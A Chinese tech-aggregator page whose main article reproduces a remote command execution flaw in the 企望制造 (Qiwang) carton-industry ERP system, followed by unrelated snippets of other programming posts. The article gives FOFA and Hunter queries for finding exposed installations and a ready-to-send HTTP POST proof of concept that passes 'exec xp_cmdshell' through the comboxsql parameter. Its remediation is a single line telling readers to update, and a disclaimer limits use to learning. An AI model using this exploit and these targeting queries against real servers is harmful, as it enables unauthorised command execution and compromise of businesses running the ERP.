当前位置：首页 > news >正文

企望制造ERP系统RCE漏洞复现

news 文章来源：https://blog.csdn.net/weixin_48539059/article/details/132871744 2024/10/28 1:13:23

文章目录

企望制造ERP系统RCE漏洞复现
- 0x01 前言
- 0x02 漏洞描述
- 0x03 影响平台
- 0x04 漏洞环境
- 0x05 漏洞复现
- - 1.访问漏洞环境
  - 2.构造POC
  - 3.复现
- 0x06 修复建议

企望制造ERP系统RCE漏洞复现

0x01 前言

免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用！！！

0x02 漏洞描述

企望制造纸箱行业ERP系统涉及纸箱企业管理的各个方面，包括成本核算，报价定价，订单下达，生产排单，现场管理，成品入库，出货配送，全业务流程财务结算，质量管理贯穿始终，将纸箱企业管理水平提升到一个全新的高度，实现精确计算，合理规划，高效监管、分工合作、充分沟通的管理理念。

在/mainFunctions/comboxstore.action路径下，该网站存在RCE漏洞。

0x03 影响平台

企望ERP系统

0x04 漏洞环境

fofa：title=“企望制造ERP系统”
hunter：app.name=“企望制造ERP”
在这里插入图片描述

0x05 漏洞复现

1.访问漏洞环境

在这里插入图片描述

2.构造POC

POC （GET）

POST /mainFunctions/comboxstore.action HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 39comboxsql=exec%20xp_cmdshell%20'whoami'

3.复现

在这里插入图片描述发现命令成功执行，响应成功！！！

0x06 修复建议

建议及时更新至最新版本！

相关文章：

企望制造ERP系统RCE漏洞复现

文章目录企望制造ERP系统RCE漏洞复现0x01 前言0x02 漏洞描述0x03 影响平台0x04 漏洞环境0x05 漏洞复现1.访问漏洞环境2.构造POC3.复现 0x06 修复建议企望制造ERP系统RCE漏洞复现 0x01 前言免责声明：请勿利用文章内的相关技术从事非法测试，由于传播…...

编程日记 2023/9/22 20:59:38

【unity小技巧】Unity 存储存档保存——PlayerPrefs、JsonUtility和MySQL数据库的使用

文章目录前言PlayerPrefs一、基本介绍二、Demo三、优缺点 JsonUtility一、基本使用二、Demo三、优缺点 Mysql（扩展）完结前言游戏存档不言而喻，是游戏设计中的重要元素，可以提高游戏的可玩性，为玩家提供更多的自由和…...

编程日记 2023/9/22 20:58:38

2023-9-22 滑雪

题目链接：滑雪 #include <cstring> #include <algorithm> #include <iostream>using namespace std;const int N 310;int n, m; int h[N][N]; int f[N][N];int dx[4] {-1, 0, 1, 0}, dy[4] {0, 1, 0, -1};int dp(int x, int y) {int &v f…...

编程日记 2023/9/22 20:57:37

基于Yolov8的工业小目标缺陷检测（6）：多检测头结合小缺陷到大缺陷一网打尽的轻量级目标检测器GiraffeDet，暴力提升工业小目标缺陷检测能力

💡💡💡本文改进：多头检测器结合大小缺陷一网打尽的GiraffeDet，进一步提升处理低分辨率图像和小物体等更困难的检测能力。多头检测器+ GiraffeDet | 亲测在工业小目标缺陷涨点明显，原始mAP@0.5 0.679提升至0.734 收录专栏： 💡💡💡深度学习工业缺陷检测：h…...

编程日记 2023/9/22 20:55:36

exe文件运行后无输出直接闪退如何找解决办法

一.搜索栏搜事件查看器二.点开windows日志下的应用程序三.找到错误处四.搜索异常代码点开有错误的详细信息，直接用搜索引擎搜索这个异常代码能大致判断是什么问题，给了一个解决思路，不至于不知道到底哪里出了问题...

编程日记 2023/9/22 20:54:35

OpenHarmony应用开发—ArkUI组件集合

介绍本示例为ArkUI中组件、通用、动画、全局方法的集合。效果预览使用说明： 1.点击组件、通用、动画、全局方法四个按钮或左右滑动切换不同视图。 2.点击二级导航（如通用属性、通用事件等），若存在三级导航则展开三级导航&#…...

编程日记 2023/9/22 20:53:34

Linux(CentOS)安装msf

目录一、安装MSF 1.1 在线安装 1.2 离线安装二、安装Postgresql数据库一、安装MSF 1.1 在线安装需要挂梯子！挂完梯子需要reboot重启，多试几次就可以，国内网络我试了很久都不行。没条件没梯子的看1.2离线安装 cd /opt curl https://ra…...

编程日记 2023/9/22 20:52:33

工作几年还是悟不懂自动化测试的意义

【软件测试面试突击班】如何逼自己一周刷完软件测试八股文教程，刷完面试就稳了，你也可以当高薪软件测试工程师（自动化测试） 有人问：自动化测试的成本高效果差，那么自动化测试的意义在哪呢？ 我…...

编程日记 2023/9/22 20:47:28

Redis面试问题三什么是缓存雪崩怎么解决

定义缓存雪崩是因为大量的key设置了同一过期时间的导致在同一时间类缓存同时过期，而这时因为请求过来已经没有缓存了，DB压力大数据库崩溃了。解决方法我可以在设置过期时间的时候加一个随机时间，在1-5分钟那样可以分散过期时间&#xf…...

编程日记 2023/9/22 20:46:27

【Unittest】自动化测试框架核心要素

【软件测试面试突击班】如何逼自己一周刷完软件测试八股文教程，刷完面试就稳了，你也可以当高薪软件测试工程师（自动化测试） 1、什么是Unittest框架？ python自带一种单元测试框架 2、为什么使用UnitTest框架&#xff1…...

编程日记 2023/9/22 20:43:24

Hyperloglog

一，前言在互联网行业中存在两个比较重要的指标：PV（页面访问量）和 UV（用户访问量） 如果有这样的一个业务： 统计PV，那么你会怎么做？ 我们可以使用Redis的incr、incrby指…...

编程日记 2023/9/22 20:42:23

如何自动获取短信验证码？

点击下方关注我，然后右上角点击...“设为星标”，就能第一时间收到更新推送啦~~~ 这篇文章通过解决实际项目开发中遇到的如何自动获取短信验证码的问题，进一步讲述在Java中如何使用正则。 Java中如何使用正则 Java中正则相关类位于java.util.r…...

编程日记 2023/9/22 20:41:22

Linux 本地 Docker Registry本地镜像仓库远程连接【内网穿透】

Linux 本地 Docker Registry本地镜像仓库远程连接文章目录 Linux 本地 Docker Registry本地镜像仓库远程连接1. 部署Docker Registry2. 本地测试推送镜像3. Linux 安装cpolar4. 配置Docker Registry公网访问地址5. 公网远程推送Docker Registry6. 固定Docker Registry公网地址…...

编程日记 2023/9/22 20:37:18

基于Yolov8的工业小目标缺陷检测（4）：SPD-Conv，低分辨率图像和小物体涨点明显

💡💡💡本文改进：SPD-Conv，处理低分辨率图像和小物体等更困难的任务时效果明显。 SPD-Conv | 亲测在工业小目标缺陷涨点明显，原始mAP@0.5 0.679提升至0.775 收录专栏： 💡💡💡深度学习工业缺陷检测：http://t.csdn.cn/fVSgs ✨✨✨提供工业缺陷检测性能提升…...

编程日记 2023/9/22 20:34:16

平均精度(AP)

什么是平均精度(AP) 平均精度 (AP)并不是精度 (P)的平均值。平均精度 (AP) 是按类别计算的。 mAP（mean average precision）是一个平均值，常用作目标检测中的检测精度指标mAP 指标通过对于一个平均目标来检测任务中多个目标所对应不同 AP&a…...

编程日记 2023/9/22 20:33:15

建议收藏《Verilog代码规范笔记_华为》（附下载）

华为verilog编程规范是坊间流传出来华为内部的资料，其贴合实际工作需要，是非常宝贵的资料，希望大家善存。至于其介绍，在此不再赘述，大家可看下图详细了解，感兴趣的可私信领取《Verilog代码规范笔记_华为》。…...

编程日记 2023/9/22 20:31:13

Nginx环境搭建、负载均衡测试

Nginx环境搭建、负载均衡测试系统环境： win10，IDEA2020，JDK8 一、nginx环境搭建 1.ngxin下载 Nginx官网下载： http://nginx.org/en/download.html Nginx有三种版本，分别是Mainline version（开发版&…...

编程日记 2023/9/22 20:30:12

软件工程知识总结梳理

🔥🔥宏夏Coding网站，致力于为编程学习者、互联网求职者提供最需要的内容！网站内容包括求职秘籍，葵花宝典（学习笔记），资源推荐等内容。在线阅读：https://hongxiac.com&…...

编程日记 2023/9/22 20:27:10

Mybatis自动映射Java对象与 MySQL8后的JSON数据

文章目录 Mybatis自动映射Java对象与 MySQL8后的JSON数据1.转化成为正常Json类型1.1 JsonTypeHander1.2 ListJsonTypeHandler 负责List<T> 类型1.3 实体类1.4 mapper1.5 测试类 2. 存储为携带类型的Json Mybatis自动映射Java对象与 MySQL8后的JSON数据 1.转化成为正常…...

编程日记 2023/9/22 20:25:08

【JavaScript】深拷贝和浅拷贝

在 JavaScript 中，深拷贝（Deep Copy）和浅拷贝（Shallow Copy）是两种不同的对象复制方法，它们涉及到如何复制对象的属性以及如何处理对象内部的嵌套引用。以下是它们的解释： 浅拷贝（S…...

编程日记 2023/9/22 20:22:05

【SLAM】10.纵观SLAM，对比方案和未来方向

"天下谁人配白衣” SLAM方案研究方向 SLAM方案站在历史角度，看一下为SLAM的发展带来贡献的方案： 2007年—A.J.Davison—MonoSLAM 视觉SLAM的先驱，建立在EKF基础上，此前基本无法在线运行，意义较大；…...

编程日记 2023/9/22 20:21:04

PyTorch中DistributedDataParallel使用笔记

1. 基本概念在使用DistributedDataParallel时有一些概率必须掌握多机多卡含义world_size代表有几台机器，可以理解为几台服务器rank第几台机器，即第几个服务器local_rank某台机器中的第几块GPU 单机多卡含义world_size代表机器一共有几块GPUrank第几…...

编程日记 2023/9/22 20:20:03

前端面试的话术集锦第 18 篇博文——高频考点（HTTP协议 TLS协议）

这是记录前端面试的话术集锦第十八篇博文——高频考点（HTTP协议 & TLS协议），我会不断更新该博文。❗❗❗ 1. HTTP 请求中的内容 HTTP请求由三部分构成，分别为：请求行首部实体请求行大概长这样GET /images/logo.gif HTTP/1.，基本由请求方法、URL、协议版本组成，…...

编程日记 2023/9/22 20:19:02

SQL Server 数据库变成单个用户怎么办

参考技术A 1、首先我们打开SQL SERVER的管理控制台，找到一个要设置角色的用户。 2、下面我们将为这个用户赋予创建数据库的角色，我们先用这个用户登录管理工具看一下是否具有创建用户的权限。 3、进行数据库创建的时候，提示如下的错误&…...

编程日记 2023/9/22 20:18:01

错过成考报名，今年你还有这两种方式升学！

2023年广东成人高考已经报名结束啦错过报名或没有抢到考位的同学不用伤心你还有另外两个提升学历的机会开放大学or小自考今天一起来了解一下吧~ 什么是开放大学？ 开放教育其实也就是开放大学，也就是我们所说的中央广播电视大学，现在…...

编程日记 2023/9/22 20:17:00

【2023】从事务的特征以及解决方式上分析MySQL是如何保证事务的

----以MySQL的InnoDB介绍目录前言事务，事务到底是什么？ 一、事务的特征：二、事务特征具体保证1、Redo Log(重做日志) ---保证事务的持久性1.1、🟡刷盘时机1.2、redo log记录形式1.3、redo log日志的好处 2、undo log(回滚日志)…...

编程日记 2023/9/22 20:13:57

MTR 网络连通性测试工具基础入门整理

MTR MTR的全称是 my traceroute，是一个集合了 ping 与 traceroute 功能的网络诊断工具，广泛应用于链路测试。相对于 traceroute 只会做一次链路跟踪测试，mtr会对链路上的相关节点做持续探测并给出相应的统计信息。因此，mtr能避免…...

编程日记 2023/9/22 20:12:56

Linux安装mysql数据库并实现主从搭建

一.环境说明【环境说明】： 192.168.110.161 mysql-master ##网络配置到位，防火墙关闭，selinux关闭 192.168.110.162 mysql-slave ##网络配置到位，防火墙关闭，selinux关闭两台主机，操作系统是centos7…...

编程日记 2023/9/22 20:11:54

windows使用小技巧之windows照片查看器无法显示此图片

碰到过好几次了，以前没有理会，今天特意去查了一下解决方法，不然确实不太方便。 1、打开“颜色管理”-“高级”： 2、将“设备配置文件”选择为“Agfa：Swop Standard” 3、关闭，重新打开图片，好…...

编程日记 2023/9/22 20:10:53

ez_pz_hackover_2016

ez_pz_hackover_2016 Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments32位，保护全关 int chall() {size_t v0; // eaxint result; // eaxchar s[1024]…...

编程日记 2023/9/22 20:08:51

app开发公司的困难/seo综合查询工具

try{InetAddress addr InetAddress.getLocalHost();String ipaddr.getHostAddress().toString();//获得本机IPString hostaddr.getHostName().toString();//获得本机名称 }catch(Exception e){} 转载于:https://www.cnblogs.com/xiandedanteng/p/4211188.html...

编程日记 2024/10/27 23:59:45

wordpress电视剧采集解析/百度手机助手app下载并安装

Linux下命令安装DB2 9.7 express免费版数据库的步骤（已经实践过并补充有关问题） 可以使用图形界面，也可以使用手工安装的方式。我们先介绍最简单的安装方法。 1.从IBM网站下载DB2 9.7 express C版本：文件名db2exc_971_LNX_x86.ta…...

编程日记 2024/10/27 23:37:30

免费建站网站一级123456/苏州做网站的专业公司

【题目描述】有两堆石子,两个人轮流去取。每次取的时候,只能从较多的那堆石子里取,并且取的数目必须是较少的那堆石子数目的整数倍，最后谁能够把一堆石子取空谁就算赢。比如初始的时候两堆石子的数目是25和7。 25 7 --> 11 7 --> 4 7 --> 4 3 --> 1…...

编程日记 2024/10/27 23:20:21

网站建设bd方案/seo教程搜索引擎优化

Android中一个应用启动另外一个应用一般有2种情况， 被启动应用的包名已知和未知两种情况： 1 被启动应用的包名已知： /**启动另外应用的代码，其中被启动的应用的包名为packageName，应用的入口为packageName.MainAc…...

编程日记 2024/10/27 21:17:09

网络营销推广策略包括哪些/免费优化网站

1、提供一个一致的面向对象的编程环境，无论这个代码是在本地执行还是在远程执行。2、提供一个将软件部署和版本控制冲突最小化的代码执行环境以便于应用程序的部署和升级。3、提供一个可提高代码执行安全性的代码执行环境，就算软件是来自第三方不可信任的…...

编程日记 2024/10/27 20:04:26

什么网站教你做美食/惠州seo关键词

各位新朋友～记得先点蓝字关注我哦～在某个午休时间，小编刚刚带上耳机准备好好休整一番，突然传来了微信语音的铃声。Emmmmm，好吧。摘下耳机，带上眼镜，接通电话。客户：我有张表&#xf…...

编程日记 2024/10/27 19:56:22